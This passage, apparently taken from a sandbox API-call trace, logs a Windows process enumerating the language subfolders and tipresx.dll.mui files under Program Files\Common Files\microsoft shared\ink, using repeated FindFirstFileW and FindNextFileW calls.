cAlternateFileName="")) returned 0 [0148.119] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.120] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.120] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0148.120] GetLastError () returned 0x12 [0148.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.120] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.120] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.120] GetLastError () returned 0x12 [0148.123] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.123] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.123] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.123] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0148.123] GetLastError () returned 0x12 [0148.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.123] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.123] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.123] GetLastError () returned 0x12 [0148.123] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.124] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.124] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.124] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0148.124] GetLastError () returned 0x12 [0148.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.125] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.125] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.125] GetLastError () returned 0x12 [0148.125] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.125] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.126] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.126] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0148.126] GetLastError () returned 0x12 [0148.126] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0148.126] GetLastError () returned 0x12 [0148.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.126] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.126] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.126] GetLastError () returned 0x12 [0148.126] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.126] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.127] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.128] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0148.128] GetLastError () returned 0x12 [0148.128] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0148.128] GetLastError () returned 0x12 [0148.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.128] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.128] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.129] GetLastError () returned 0x12 [0148.129] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.129] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.129] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.129] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0148.129] GetLastError () returned 0x12 [0148.129] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836ca0 [0148.129] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.130] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.130] GetLastError () returned 0x12 [0148.130] FindNextFileW (in: hFindFile=0x836ca0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.130] FindClose (in: hFindFile=0x836ca0 | out: hFindFile=0x836ca0) returned 1 [0148.130] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.130] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0148.130] GetLastError () returned 0x12 [0148.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0148.131] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.131] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.131] GetLastError () returned 0x12 [0148.131] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.132] FindClose (in: hFindFile=0x836aa0 | out: hFindFile=0x836aa0) returned 1 [0148.132] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4510078 | out: hHeap=0x23a0000) returned 1 [0148.132] FindNextFileW (in: hFindFile=0x8369a0, lpFindFileData=0x3d5f048 | out: lpFindFileData=0x3d5f048*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0148.132] GetLastError () returned 0x12 [0148.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894ff8 [0148.321] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.322] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.322] GetLastError () returned 0x12 [0148.322] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3d5edc4 | out: lpFindFileData=0x3d5edc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 